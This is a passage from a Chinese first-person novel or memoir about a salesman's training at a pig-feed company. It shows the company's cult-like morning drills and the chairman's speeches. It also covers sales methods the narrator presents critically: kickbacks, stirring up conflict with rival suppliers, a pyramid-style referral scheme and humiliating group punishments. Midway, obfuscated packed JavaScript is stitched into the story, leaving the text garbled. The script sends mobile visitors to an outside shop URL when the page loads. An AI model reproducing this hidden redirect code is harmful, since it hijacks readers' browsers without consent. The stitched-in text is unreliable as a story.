无论是每天早上八点的“朝训”,还是公司大大小小的会议,每当提及宋二海的名字,所有员工都会把腰杆挺得像标枪般笔直,肃然静默片刻,既不能随意乱动,更不能交头接耳,以此表达对他的崇高敬意。他伟岸的半身肖像,也悬挂在曲靖神牛公司每一个最显眼的位置。
宋人神集团明文规定:只要同时上班的员工人数超过3人,或组织员工开会,每天早上八点均需准时进行“朝训”。朝训时,所有参与者需像部队士兵一样整齐站立,在领训人的带领下,齐声高呼“宋人神的精神——敬业、自责、自信、创新;宋人神的作风——雷厉风行、负责到底;宋人神的使命——致力农家富裕、打造绿色食品”等一系列深刻的理念与响亮的口号。
朝训只是宋人神企业文化的具体表现形式之一。企业文化还专门印制成一本厚厚的小册子,老员工需时刻随身携带,新员工则一律要求背诵并参加考试,成绩达90分以上才算合格。在众多企业文化要求中,有两条对我影响至深,也让我终身受益:一是“四讲四不讲”——讲主观不讲客观,讲自己不讲别人,讲内因不讲外因,讲领导不讲群众。这“四讲四不讲”的内涵与意义,几乎伴随了我此后十几年的人生。二是养成读书的习惯。企业文化强制要求每个员工每月至少阅读一到两本书,这个习惯我一直保持至今,也将继续坚持下去。
虽然离开宋人神集团已有多年,但这两条准则我至今仍在坚守与践行。有时个人无法改变或主宰企业或某个群体的文化,但企业或群体文化却能影响甚至改变一个人,尤其是涉世未深的少年。
第二天,曲靖神牛公司的营销部总经理为我们培训宋人神集团的销售理念与方法。
培训首先从产品定位展开。
宋人神集团的神牛牌饲料标新立异,采取差异化市场定位。当时市场上主流的猪用浓缩饲料,绝大多数蛋白质含量都在40%以上——含量越高,意味着生产成本越高,品质相对越好,价格自然也更贵。而神牛牌饲料却剑走偏锋,故意将所有产品的蛋白质标识含量降低到39%以下,并宣传宋人神集团求真务实,所标识的含量是完全可消化吸收的蛋白质,以此引导客户对宋人神产生“厚道可靠、诚实可信、只讲真话实话”的第一印象。随后,集团在全国统一制定了较高的出厂价与市场零售价,让经销商拥有足够的利润空间与推广积极性,从而在养猪户心中树立起神牛牌饲料“信誉高、档次高、价格高”的“三高”品牌形象。
由于生产设备老旧、工艺落后,曲靖神牛公司只能勉强生产猪饲料,无法生产鸡鸭鱼牛等其他品类的饲料,因此公司所有对外销售的产品均为猪饲料。
接下来培训的是可量化、流程化、制度化的销售策略。
第一步,通过规范化管理饲料销售员的出差行程、通信记录、客户拜访登记表、意向客户登记表、市场分析表等一系列手段,促使销售员们像“疯狗”一样行动起来,整天奔波拜访陌生客户。在海量拜访收集到的信息中筛选出合适的目标客户,再针对目标客户制定下一步具体拜访策略,深度建立信任与交情,将其转化为意向客户。总体原则是“广撒网,多敛鱼,择优而从之”。
第二步,挖掘意向客户的“痒点”与“痛点”,并在具备合作基础的前提下,为其提供解决这些问题的实施方案。若客户暂无明显的痒点或痛点,便寻找或制造其与原合作饲料公司的“矛盾”,并煽风点火,逐步放大双方合作中的“矛盾”与摩擦。期间还会不断邀请意向客户,以“参观学习交流”为幌子,安排他们到公司吃喝玩乐、洗脚按摩、旅游购物等,让客户产生“吃人嘴软,拿人手短”的亏欠感,以及“一条船上”的手足情谊、“一家人”的亲切感。
第三步,持续发现意向客户的需求,即便客户暂无需求,也要想办法创造需求,并不断满足他们的各种需求。同时不断做出承诺有安全、稳定且可持续的利润回报,以及长远可靠的市场区域保护,以此描绘美好的发展前景。有时还会向参与经销商或猪场老板决策的相关人员许诺,若能促成合作,他们可获得一定的额外好处费或推荐介绍费。
第四步,不惜一切代价、穷尽所有办法发起最后的总攻。若仍未成功,便请公司总经理或营销部总经理出面,给出意向客户难以拒绝的优惠条件,一锤定音。关键在于必须拥有让意向客户尽快付款进货的必胜信念,而非可有可无。
第五步,养猪户付款进货后,便进驻猪场提供服务;经销商付款进货后,则在其附近村庄寻找有一定影响力的养猪户,优先选择村长。专门挑选60至70公斤、处于快速生长期的健康猪群开展养猪增重试验。先向试验户赠送40公斤神牛牌浓缩饲料,称重后按要求饲喂。10天后再次称重,若猪群平均日增重超过1.2公斤,再赠送20公斤;超1.3公斤则加送40公斤;超1.4公斤再加送80公斤……增重越多,赠送的神牛牌浓缩饲料数量就越多。所有参与过增重试验的养猪户,最终都要发展成为现身说法、为宋人神集团站台宣传的养猪示范户。在此基础上,还可进一步组织多家养猪户开展养猪增重比赛,第一名赠送摩托车,第二名赠送电饭煲等。最后将举办过比赛的村庄设立为神牛牌饲料养猪示范村。
第六步,在养猪示范户所在的村庄召开养猪技术培训会。首先让示范户站在高台上大声分享:自从使用神牛牌饲料后,猪如何快速健□□长、自己如何赚大钱并迅速发家致富,以及宋人神集团销售员如何手把手提供技术服务。接着由销售员宣讲:宋人神集团如何强大、如何立志造福全人类,各届领导人如何亲切接见过宋二海董事长,宋二海如何心系百姓、为人民谋福利。最后再宣讲“想致富就用神牛牌饲料养肥猪的十大理由”。
第七步,在村庄各入口显眼位置的墙壁上,悬挂红底白字的宣传标语,如“饲料一枝花,神牛富万家”“中国十大名牌,神牛牌饲料”“神牛牌饲料,贪吃猛长,皮红毛亮”等。
第八步,为牢牢黏住客户,专门设置种类繁多的奖金,包括专销奖、忠诚奖、增量奖、钻石客户奖等。今年的奖金需到明年年底兑现,明年的奖金则到后年底兑现。若客户中途擅自更换其他饲料公司的产品,宋人神集团有权单方面取消所有奖金。
第九步,让现有客户发展下线客户,通过“一带二、二带四、四带八”的裂变式模式拓展客户,现有客户的提成奖金也随之呈几何倍数增长。只要下线客户持续合作,现有客户就能长期获得差额奖、终身成就奖、品牌建设奖等,该模式几乎原样复制了某些传销公司的激励机制。
第十步,定期召集经销商客户举办营销培训会、庆功会等活动。在Two Steps From Hell的《Victory》那震耳欲聋、高亢激昂的交响乐中,销量突出的优秀客户轮流登场,绘声绘色地分享销售方法——如何精准拿捏养猪户的心理,如何充分激发人性中的贪婪。业绩优秀的销售员也会适时登台发表豪言壮语,而业绩较差的销售员则需当众自我批评,甚至当众自扇耳光。最后在气势恢宏的贝多芬第九交响曲中,颁发各类名头巧妙、金光闪闪的荣誉奖牌。当会场气氛达到高潮、众人激情高涨时,营销副总与销售经理们便趁热打铁,让经销商客户签订来年的销量目标任务。
接下来是产品促销。
宋人神集团认为:中国农民始终是最爱占小便宜、最爱看热闹且从众心理极强的群体,他们偏好“大而多”的促销品。促销活动通常是购买40公斤神牛牌浓缩饲料,购买40kg神牛牌浓缩饲料,赠送塑料大盆一个;购买80kg,赠送大塑料盆与大塑料水桶各一个;购买120kg,则可在大电饭煲或大高压锅之间任选其一。每完成一笔交易,都要在饲料店铺门口用大喇叭高声宣传,随后在彩旗飘扬的大门口燃放一长串鞭炮。
有时购买神牛牌饲料不直接赠送促销品,而是每买40kg获得一次抽奖机会。奖品包括洗衣机、彩电、摩托车、塑料大盆、电饭煲等,一旦有人中奖,店铺门口便瞬间锣鼓喧天、鞭炮齐鸣、彩屑纷飞,场面火爆,气氛热烈。当养猪户累计购买量达百吨,可获赠张家界2日游、海南3日游等旅游项目;用量超千吨的大型养猪户,还能参加宋人神集团与广东欲利多公司联合推出的高端旅游线路——欧洲5国10日游,期间可与高鼻卷发白皮肤的美女互动。
一系列花样繁多、令人眼花缭乱的促销手段,在各地乡镇集市间密集开展,把村庄搅得尘土飞扬、鸡鸣狗吠。“红唇白腿、天使面容、魔鬼身材的美女陪同旅游”的诱惑,让众多养猪户争先恐后、趋之若鹜,纷纷选择神牛牌饲料。
一周培训结束后,我被派往云南路林县市场实习,带我的老销售员师傅叫刘大志。他1991年至1993年就读于昆明冶金高等专科学校,毕业后分配至云南曲靖复合化肥厂工作。1999年曲靖复合肥厂国企改制,他被迫下岗自主择业。一年后,他与大学同学李玉方一同加入宋人神集团曲靖神牛饲料公司,成为首批饲料销售员。李玉方早在2001年就晋升为大片区销售经理,而他仍在普通销售员岗位上徘徊。他常听电影《无间道》的主题曲,没事就反复哼唱:“谁了解生存往往比命运还残酷,只是没有人愿意认输。我们都在不断赶路,忘记了出路,在失望中追求偶尔的满足。我们都在梦中解脱清醒的苦,流浪在灯火阑珊处。去不到终点,回到原点……”
他的片区经理叫许友明,四川人,负责宜良、路林、鲁亮、师宗、罗平、兴义等10个县区,手下有6名销售员和2名实习生。许友明是宋人神集团“朝训”文化的坚决执行者和拥护者,无论到哪个县区市场,早上都会在宾馆或住所门口当众组织朝训。他来路林县时,每天早上都要对我们进行几十分钟的朝训,我和刘大志师傅在宾馆门口,被他反复指挥“稍息、立正、向右看齐、上前一步走”。他宣讲“宋人神的精神……宋人神的作风……宋人神的使命”时,常引来数十位路人驻足围观、指指点点。我和刘大志师傅像两只被驯服的猴子,配合完成预定的“表演”。围观的路人越多,“驯猴人”许友明的“鞭子”抽得越响,朝训也越卖力。
或许在特定文化与环境的影响下,权力容易异化为一剂猛烈的春药,一根难以控制的鞭子。许多曾被权力的鞭子驯化、失去过什么或受过伤害的人,在获得权力后,第一件事便是用权力的鞭子立威,想方设法刁难他人以获取报复性快感。因为他们无法通过智慧、理性、宽容与仁慈赢得他人的心悦诚服和尊重,只能通过操弄权力的鞭子,让他人担心、害怕、臣服甚至恐惧,以此达成目的,弥补曾失去的东西,慰藉曾受伤害的脆弱心灵。这类人外表看似强大,骨子里却充满变态扭曲的自卑与脆弱,极度在意他人的看法与态度:他人是否唯命是从、唯马首是瞻,自己是否成为他人眼中的“人上人”、是否出人头地。
曲靖神牛饲料公司在路林县仅有一位总经销商,名叫吴玉兰。她的丈夫在水利局工作,育有一双儿女,女儿叫梁碧云,与我同龄,儿子叫梁雄云。吴玉兰的饲料店位于路林县板桥镇集市,距离路林县城12公里。里。自营零售的饲料销量约20吨/月,另有三个二级分经销商,每月销量在1至5吨不等,总销量约30吨/月,均为猪用浓缩料及乳猪全价饲料。
当我乘坐客车抵达路林县城时,已是晚上8点左右。刘大志师傅正准备前往吴玉兰家,商谈如何共同完成本月的销量任务。于是,我放下行李便跟着他来到了吴玉兰家中。吴玉兰虽未上过一天学,是个文盲,但精明能干、思维敏捷,是位勤奋努力的传统城镇个体户,沟通起来相对顺畅。梁碧云活泼开朗、口齿伶俐,梳妆打扮十分潮流,着装搭配非常前卫,曾在路林县的一个旅游风景区做过导游。
第二天上午,我与刘大志师傅乘坐面包车来到吴玉兰的神牛牌饲料经销店铺。当天恰逢路林县板桥镇赶集,集市上车水马龙,人声鼎沸,一派乡村特有的喧嚣繁华景象。
在那条通往路林县城、被重型车辆碾压得坑洼不平的砂石路两侧,分布着高矮错落的砖混结构或土木结构农舍。农舍一楼开着各种店铺:化肥店、剃头店、农具店、米线凉粉店、超市、服装店等等。赶集的农夫背着大袋、提着小包,弯腰低头,在各个店铺间穿梭买卖。从店铺到马路中央的两条狭长缝隙地带,摆满了连成一片的摊位,小贩们紧挨着彼此:一堆堆散发着泥土芳香的红薯与马铃薯;一串串鲜红翠绿的辣椒与扁豆;一件件锃亮泛光的炊具与农具;一排排竹竿撑起的衣服与家纺;一篮篮沾满晶莹露珠的水果与蔬菜。瓷器摊贩正用力擦拭布满灰尘的器具,使其光亮如新;卖老鼠药的小贩扯开嗓子高喊:“老鼠药!老鼠药!走过路过,不要错过!”;卖鸡蛋的村姑不停摆弄着箩筐里沾着鸡粪的鸡蛋;屠夫们叼着香烟,赤着黝黑的胳膊,正“嚓嚓嚓”地打磨手中的尖刀;集市管理员晃动着闪亮的大金牙,额头冒汗,龇牙咧嘴地对马路中央占道的商贩大声嚷嚷。
男人们背着破旧的塑料编织袋,嘴角挂着熄灭的烟蒂,伸长脖子四处张望,似乎在寻找或回忆想买却忘了的东西。女人们背着沾有红色泥土的竹箩筐,眉头紧锁,若有所思,仿佛在盘算手里的钱是否够买想要的东西。孩子们嘴里嚼着刚买的花生牛轧糖,喜滋滋地活蹦乱跳,盼着母亲背上的竹箩筐赶快装满——仿佛竹箩筐里装满了,就全是喜悦,全是幸福,装满了明天就会有无穷的希望与惊喜。
吴玉兰的神牛牌饲料经销店铺位于板桥镇集市的西南角,隔壁是一家兽药店和一家粮食加工店。店铺后半部分整齐堆放着曲靖神牛公司的神牛王、金神牛、神牛900、神牛922等不同档次和规格的猪饲料。前半部分右侧堆放着大塑料盆、大搪瓷盆、大塑料水桶、长雨伞等促销品,左侧放着一张用于记录销售明细和赊款签字的桌子。空地四周摆放着许多木质小板凳,方便光顾店铺的农户歇脚休息或存放东西。
当农户购买断奶仔猪,或自家母猪繁殖了仔猪时,他们通常会到饲料店铺赊购饲料。家里有玉米的会买浓缩饲料,再按比例与玉米面配成全价饲料饲喂;没有玉米面的则直接购买全价饲料。饲料款一般赊欠4至6个月,大部分农户要等仔猪养成肥猪出售后,才会来结清赊欠的饲料款。以路林县的饲料经销商为例:从饲料公司购进一吨浓缩饲料,价格约3300元/吨,零售价约4500元/吨,但需垫付资金约1.6万元/吨,即平均每吨饲料要赊欠4个月。相对贫穷落后的地区,零售价会更高,所需垫款也相对更多。
在路林县实习的一个月里,每逢板桥镇赶集,我都会在吴玉兰的饲料店铺现场向养猪户推销神牛牌饲料,同时帮她登记赊欠饲料的养猪户姓名与地址。平常日子则跟随吴玉兰前往板桥镇下属的各个村社跑业务。市场,挨家挨户地上门推销饲料,顺便催收赊欠的饲料款。那时农村养狗的人特别多,走村串户时,整天都得握着一根长长的棍子。偶尔梁碧云也会跟着我们一起跑市场。她不仅口齿伶俐、能言善辩,还深谙人情世故,很会待人接物,更有着做生意的精明头脑。
一天早上,我像往常一样来到吴玉兰家楼下,正准备和她一起去跑市场,碰巧遇到她丈夫在水利局的同事骑着摩托车停在楼下。梁碧云半开玩笑地对我说,让我载她去跑市场。我说我只会骑自行车,从来没碰过摩托车。她却说不用怕,让我现学现骑。于是,我在她家楼下的空地上摸索了一会儿,试着用最低速度的一挡,摇摇晃晃地来回骑了几百米。刚气喘吁吁地回到原停车点,梁碧云就蹦跳着忽然坐到后座上,指着路林县板桥镇的方向,兴奋地说:“我们去板桥镇的海子村跑市场吧!”
我有些惊讶又慌张,立刻推脱道:“我还不太会骑摩托车,也没有驾照。不敢骑,怕摔倒!”
她却满不在乎地拍了拍我的肩膀,说:“我一个女孩子都不怕,你是男子汉,怕什么。”
话都说到这份上,我只得硬着头皮,手心攥着汗,鼓起勇气挂在一挡上,沿着车水马龙的狭窄乡镇道路慢慢前行。我心里充满担忧与惧怕,但梁碧云却毫不在意,一个劲地催促我加油换挡、加速前进。那天,她让我载着她跑了一整天市场。我提心吊胆,她却悠然自得。
晚上我打电话给师傅刘大志汇报当天的实习情况。他听完后,对我的工作进行了详细指导,通话结尾时却笑着半是担忧半是玩笑地说:“梁碧云在宋人神曲靖神牛饲料公司的男朋友,已经为你准备好一副拳击手套了,建议你赶紧抓紧时间练习100米短跑。”
在一个月实习期临近结束的最后一周,吴玉兰突然身体不适,只剩我和梁碧云一起跑市场。我不知道她每天怎么总能找来不同品牌的摩托车,让我载着她去路林县板桥镇下属的各个村社跑市场。她不仅活泼开朗,还能歌善舞,时而在乡间小路上哼唱梁静茹的《勇气》《可惜不是你》,时而在夕阳下迎风翩翩起舞。
那时我还年轻,记忆力也很好。我帮吴玉兰登记过赊欠饲料、参与过收款的养猪户总共有500多户,但只要吴玉兰说出养猪户的名字,我不用翻账本,基本都能准确说出对方所在的村庄、养殖品种、数量、欠款金额与赊欠日期,甚至连赊欠人的外貌特征都能大致描述出来。哪怕是现在回忆起他们,许多人的音容笑貌都还能依稀浮现在眼前。
为期一个月的实习很快就结束了。临走时,梁碧云特地送了我一件T恤留作纪念,还对我表示了衷心感谢。吴玉兰则再三叮嘱我,等从湖南洪州宋人神大学培训回来后,可以向公司申请分派到她们路林县来跑饲料销售。
我回到曲靖神牛饲料公司,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334297|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和我们新加入公司的一行10人收拾好行李,踏上了开往湖南洪州市的绿皮火车,继续去宋人神大学培训学习。
宋人神大学位于湖南洪州市远郊的牛家河村,像是由一个废旧养殖场改建而成。宿舍是红砖土木的石棉瓦房,培训教室狭长低矮,食堂用的是传统生火烧柴的炉灶。正对大门口的位置有一间外墙装修别致的展览室,精致的轮廓与周围的环境格格不入。
缓步走进展览室,一面大理石砌成的高大屏风映入眼帘。屏风上挂满了宋二海颔首低腰、带着婴儿般微笑与各级领导人亲切握手的照片;屏风左边是红木拼接的木墙,上面同样挂满了宋二海各个年龄段的照片,照片下方记载着他在对应年龄段说过的各种“名言警句”,以及对工作生活的感悟和总结;穿过屏风右边白色罗马柱撑起的拱形镀金门,才算正式进入展览室大厅。高约6米、面积约500平方米的大厅四周,炫目的射灯顺时针依次照亮一幅幅以白枫木为底板的展示牌,牌上由大尺寸照片、彩绘、浮雕及文字说明组成图案与文字内容。开始的十几幅图文上记展厅中,自1988年起宋人神集团历年的重大事件、发展成就与光辉历程被一一记录;随后的十组图文,清晰展示了集团五大产业的当前现状及未来五年的宏伟发展目标;一旁的巨型立体中国地图上,32家分公司的全国布局以小红旗精准标示;地图侧旁的硕大地球仪上,红色五角星醒目标注着集团的全球发展规划;再往后,铝合金墙面上镶嵌着密密麻麻的镀金文字,涵盖企业文化、《宋人神之歌》《宋人神营销员之歌》及宋二海创作的诗词歌赋;展厅正中央,两头一大一小、由彩色花岗岩圆雕而成的高大神牛巍然矗立,四周环绕着青色石灰岩圆雕的猪、鸡、鸭、鱼模型。
抵达宋人神大学的次日清晨,天刚蒙蒙亮,来自全国各地的新入职员工身着统一迷彩服,整齐列队于校园庭院。宋二海迈着沉稳方步,如检阅凯旋之师的将军般昂首阔步走到队伍前方,以泛着青光的双目扫视众人后,向训导员点头示意:“可以开始朝训了。”
高大魁梧的训导员向宋二海立正敬了标准军礼,中气十足地高喊:“稍息,立正,向右看齐!”
随即,训导员扯开嗓门问道:“宋人神的精神?”
我们齐声高呼:“敬业、自责、自信、创新!”
“宋人神的作风?”
我们再次齐声回应:“雷厉风行、负责到底!”
“宋人神的使命?”
我们第三次齐声呐喊:“致力农家富裕,打造绿色食品!”
朝训结束后,训导员激情澎湃地宣布:“下面,让我们以最热烈的掌声,隆重邀请宋二海董事长为大家发表重要讲话并作出精神指示!”
潮水般的掌声中,他再次向宋二海立正敬礼,随后跑步归队至队伍第一排最右侧,毕恭毕敬地静候讲话开始。
宋二海再次以泛青的目光环视全场,干咳几声清了清嗓子,上前两步将双手背于身后,正式开口:“首先,我代表宋人神集团全体老员工,对各位的到来表示热烈欢迎!”
训导员带头再次响起热烈掌声。
待掌声平息,宋二海又清了清嗓子,语速缓慢却字字铿锵:“作为国家级农业产业化重点龙头企业与中国驰名商标企业,宋人神的使命是‘致力农家富裕,打造绿色食品’。我们以饲料经营为基础,聚焦畜牧业,形成饲料、种苗、动保、屠宰、食品深加工五大产业齐头并进、环环相扣的完整产业链。我们秉持‘雷厉风行、负责到底’的作风,以创新服务营销体系助力广大养殖户致富。未来,我们将在全国捐赠新建100所神牛希望小学、100个神牛牌饲料养猪示范县、3000个示范村及5万个示范户。
我们的经营理念是‘义利相融,养义生利’。集团是真正的学习型组织,会先培养大家,甚至‘白养’一段时间,但我们‘赛马不相马’,3到6个月后,你们都要成为能‘生蛋’的‘母鸡’。你们要做荒野觅食的狼,而非富人家享福的狗;要践行‘敬业、自责、自信、创新’,做好服务营销每一环,严格执行销售流程,创造价值、造福人类。同时,你们要‘吃水不忘挖井人’,感恩公司、永远忠诚。
我们生产的每一袋神牛牌饲料,均严格遵循美国奥特八公司的5S质量管理标准。我们始终坚信:忽视质量就是犯罪,就是自杀。作为负责任的大企业,我们心存敬畏,心系百姓食品安全与全民健康。
记得当年,省里一位老领导曾亲切拉着我的手嘱托:‘你们宋人神集团要努力为国家多做贡献,继往开来、艰苦奋斗,全心全意为人民服务,鞠躬尽瘁、死而后已。’
还有一年在中国饲料工业协会年会上,协会相关领导也亲切地接见了我,他热情地拍着我的肩膀说:“你们宋人神集团是利国利民、有责任有担当的大企业。你们要再接再厉,勇于拼搏,争取早日成为世界一流的农牧企业。”他还当场表示,要让全国其他饲料企业的同行,向我们学习先进的经营理念、精神作风,以及无私奉献的社会责任感。
早在五年前,我就获得了全国五一劳动奖章,成为□□政府特殊津贴专家;三年前,我又受聘为中国人民大学客座教授、美国奥特八公司特聘专家顾问;两年前,我们企业被授予国家级农业产业化重点龙头企业称号,还拿下了中国驰名商标……我们每年都能取得长足进步,收获举世瞩目的成就。
从东方泛白到太阳爬上附近农舍的屋顶,宋二海持续讲话两个多小时。期间他没挪动过一步,也没喝一口水,只是不停地用舌头舔润越来越干燥的嘴唇。这种不怕苦累、坚持到声音嘶哑的精神,至今让我记忆犹新,由衷钦佩。直到衣兜里的电话铃声反复响起,他才意犹未尽地示意训导员接替自己。训导员迈着坚实响亮的正步上前,向他立正敬礼,转身带领我们再次鼓起经久不息的潮水般掌声。宋二海又用泛着青光的圆目逐一扫视我们,微笑点头,背着手踱着沉稳方步走进展览室。训导员高喊几声“稍息、立正、向右看齐”后,示意我们先休息十五分钟,再到培训教室继续学习后续内容。
早已站得腿脚发麻的人群发出一阵解脱的欢呼,纷纷快步走向西北角的公共厕所。我站在四散的人群中,看着拥挤的如厕人流,犹豫片刻后忽然想起,展览室里好像也有厕所。于是我踩着小碎步快速走进展览室,来到记忆中厕所的位置。隔着薄薄的木门,我听到里面传出宋二海董事长用力排便的“嗷嗷”“嗯嗯”声。踮起脚尖透过门板与上檐的缝隙,依稀能看见他不停晃动的脑袋。我赶紧退到十几米外的神牛雕像旁,假装认真观赏。不一会儿,宋二海董事长喘着粗气、沉声咳嗽着缓缓推开木门,我用余光瞥见他迈着沉稳步伐走出展览室,便迫不及待地走进那扇门。狭小的空间里臭气扑鼻,马桶上留着两个歪歪斜斜的鞋印。我摸了摸身上不多的几张纸,顿了顿,只能踩着他留下的鞋印爬上马桶,用脚掌撑住身体扎起马步,像鸭子一样半蹲在上面。不经意抬头时,从木门上沿的缝隙正好能看到外面展览室的大厅。
下午是宋人神集团技术总监陈博士给我们培训神牛牌饲料的相关知识。他从原料采购讲到成品出库的整个生产流程,重点强调了敬业的工匠精神:“产品质量是企业的生存基础与立足之本,忽视质量就是犯罪。我们宋人神集团对饲料原料质量要求严苛,作为美国奥特八生物科技有限公司的钻石级客户,他们为我们提供了欧美最高标准的原料采购体系。多年来,我们始终以最高标准把控原料品质。什么是真正的敬业精神?我们考察美国奥特八公司时,看到他们的厕所保洁员用超乎寻常的标准评估马桶洁净度——保洁员会当着参观者的面喝马桶里的水!这难以想象的标准、难以置信的程度,就是真正的敬业精神。我们宋人神的饲料,正是生产工人以这种精神一袋袋生产出来的。
什么是严谨的工匠精神?宋二海董事长年轻时,有位朋友在日本留学。因家境贫寒,朋友常到日本餐厅打工,其中一家餐厅有明文规定:所有的碗碟必须清洗六次才算合格。他这位朋友心想,清洗六次与清洗两三次、四次,用肉眼根本看不出任何区别。于是,他悄悄把碗碟全部只清洗三次,洗碗效率明显提高了一倍。
在餐厅里和他一起洗碗的同伴们惊奇地发现,同样的时间内,宋二海董事长这位朋友清洗的碗碟数量竟是他们的整整两倍,所获薪资报酬自然也翻了两倍。后来这件事传到餐厅总经理耳中,总经理悄悄在背后监督,发现他居然投机取巧只清洗了三次。总经理认为他未严格执行规定的清洗次数,是缺乏工匠精神的具体表现,也是不诚信的可耻行为,给餐厅带来了负面影响与耻辱,当即决定将他开除。再后来,随着事情持续发酵,传到日本政府领导人耳中,日本政府也认为他不配再留在日本,发文将他遣回中国。宋二海董事长的这位朋友回国后痛定思痛,发愤图强,创立了大名鼎鼎的陆牌男装。而我们宋人神集团对生产工人的要求,一直遵循碗碟必须清洗六次的严谨工匠精神,严格执行每一项饲料生产任务。
喝马桶水、碗碟必须清洗六次这种近乎变态的敬业精神,荒诞怪异的“工匠”精神,皆让人匪夷所思。当初我也曾怀疑是否真有其事,是否存在过于夸张的成分,但那时这些说法在我们曲靖神牛饲料公司流传甚广,大部分销售员也经常向客户宣传,宋人神集团的饲料质量标准正是按照这种要求打造的。大部分销售员也以穿陆牌男装为荣,将其视为工匠精神的象征。当然,我也曾是陆牌男装的坚定簇拥者之一。
往后的培训中,有三天是户外拓展训练。参加训练的人员被随机分成12个小组,小组之间通过拓展项目相互比赛积分,最终根据胜败率与积分多少综合确定排名。其中“背摔”项目要求小组队员轮流站在1.5米高的高台上,双手交叉紧贴胸前,两脚并拢,全身挺直向后倒下,过程中身体不能弯曲或翻滚,双手也不得向外打开。负责保护的队员分成两排,面对面紧挨着弓步站立,两手掌心向上搭在前方队员肩膀上,上肢和头部尽量后仰,当背摔队员从高处倒下时,全队协力将其平稳接住。若未能安全接住则按失败论处,依照规则扣除相应积分。
“雷区取水”项目是在直径5米的圆形空地中央放置一盆水,负责取水的队员不能直接走进圆形空地,只能在外面通过一根十几米长的绳子,在小组成员协助下取水,且手不能直接接触水盆边沿。20分钟内成功用杯子取到水的小组赢得相应积分,否则得0分。
“毕业墙”项目要求小组所有队员在40分钟内爬上一面4.5米高的光滑墙壁,过程中不允许借助任何外力和工具,包括衣服、皮带、绳索等,所有人必须从墙的正面爬到顶部。若小组中哪怕有一人未在规定时间内成功爬上去,即积分为0。上墙时不能助跑起跳,也不可采取空中借力、蹬踩的方式跃上墙顶,只能通过背负、肩扛、挺举、拉拽等方式,以队员身体为工具相互协作爬至顶部。
此外还有生死时速、断桥、电网、丛林生存、鳄鱼潭、无敌风火轮等其他户外拓展训练项目。
每个项目由各小组抽签进行比赛或积分,比赛中输掉3次以上、积分不足60分或综合排名倒数第一的小组,需接受相应惩罚。主要惩罚措施包括:每个成员轮流面向小组所有队员,先哈哈大笑30秒,再大哭30秒且需哭出眼泪;每个成员轮流面向小组所有队员,先90度低头鞠躬两分钟,再单膝跪地道歉两分钟;小小组成员之间互相扇耳光或自扇耳光,甚至常有队员在情绪激动时脱下鞋子,用鞋底抽打自己或其他组员的脸;未犯错的组员围成圈面对面坐下,双腿伸直,让犯错队员重重踩在他们的小腿上绕圈奔跑,同时大声喊出——“虽然是我错了,但我不在乎你们!”
部分队员在户外拓展训练中被感动得全身颤抖,双膝跪地诚恳道歉,或是五体投地表达深切感谢;有的队员因惭愧而悲痛欲绝,哭得撕心裂肺,甚至自责到用头撞墙;还有队员咬破手指,以血起誓,承诺永远忠诚于宋人神集团。
为期三天的户外拓展训练结束后,许多队员熬出了黑眼圈,浑身沾满污秽与油腻,声音嘶哑,鼻青脸肿,形容憔悴不堪。
七天的培训结束后,学员们都顺利拿到了人生中效率最高、速度最快的毕业证书——红壳金字的宋人神大学毕业证书。
培训圆满完成、即将离别的那天早上,大家聚集在宋人神大学门口,三五成群地围在一起,许多人抱头痛哭,不舍分离。场面满是缅怀伤感,气氛中充满了留恋与不舍!从此你我义结金兰,以兄弟相称,手足情义今生难忘。刚松开的手,又像被520胶水粘住般再次紧握;刚放开的拥抱,又像久别重逢的恋人一样,紧紧相拥在一起。
8. 第 8 章
从湖南洪州回到曲靖神牛饲料公司后,我被派往师兄胡顺中曾在昆明正方饲料公司负责的市场——那是他梦想启航的地方,具体涵盖大理州下辖的大渡口县、祥云县与南涧县。
从曲靖市前往大理州大渡口县,需先沿320国道乘坐约3小时大巴抵达昆明,再转乘近10小时的长途卧铺汽车。
我背着大捆神牛牌饲料的宣传资料,提着大卷同款饲料的宣传标语,踏上了新的征程。循着胡顺中师兄走过的足迹,我决心摸着石头过河,满怀雄心地开启了饲料销售员的生涯。
云南曲靖神牛饲料公司在大渡口县设有总经销商张大波,他比我年长7岁,神牛牌饲料的自营零售月销量约5吨,二级经销商分销月销量约30吨,且均为猪用浓乳饲料。南涧县属空白市场,养猪户稀少,猪饲料市场容量极小,神牛牌饲料长期零销量。祥云县饲料市场容量虽大,但仅有零星养猪户在少量试用产品。
从昆明经一夜长途卧铺汽车的颠簸,次日清晨我抵达大渡口县。首先拜访了总经销商张大波,了解当地饲料市场现状的同时,也向他介绍了自己的基本情况。经初步分析,我得出结论:张大波资金有限,且已与曲靖神牛饲料公司签订大渡口县全区域总经销权,因此大渡口县需采取稳步增量策略;南涧县市场容量过小,形同鸡肋;唯有寄望于祥云县市场,才能实现负责区域的销量快速增长。
大学四年间,我在老家鲁亮县的云南省农村信用社累计贷款2.9万元。根据贷款合同条款,所有贷款需在毕业后两年内还清。我在宋人神集团的月薪为600元,出差费每日不超过70元,凭有效发票实报实销。大渡口、祥云、南涧三县的饲料月销量任务为40吨,未完成则按比例扣除工资及差旅费,超额完成则按猪用浓缩饲料50元/吨、乳猪全价饲料25元/吨给予提成奖金。仅靠工资,两年内还清贷款基本无望,加之年近七旬的父亲与风烛残年的母亲需要赡养,医疗费用也需承担,因此我唯有每月超额完成销量任务、获取提成奖金,方能解决困境。
明确努力方向与目标后,我开始运用宋人神集团培训的销售方法:一方面在祥云县大量拜访陌生客户、分析客户需求、挖掘意向客户,全力开发新客户;另一方面在大渡口县积极开展养猪增重试验、增重比赛、养猪科技讲座、宣传造势及促销抽奖等基础工作,偶尔也会抽空前往南涧县尝试开发客户。功夫不负有心人,饲料销量也回报了奔波市场的努力。半年后,三县总销量稳定达到月均100吨的预设目标。按理论计算,每月提成奖金可达2800余元,但实际到手仅约2200元,剩余部分被公司扣留作为市场风险抵押保证金。
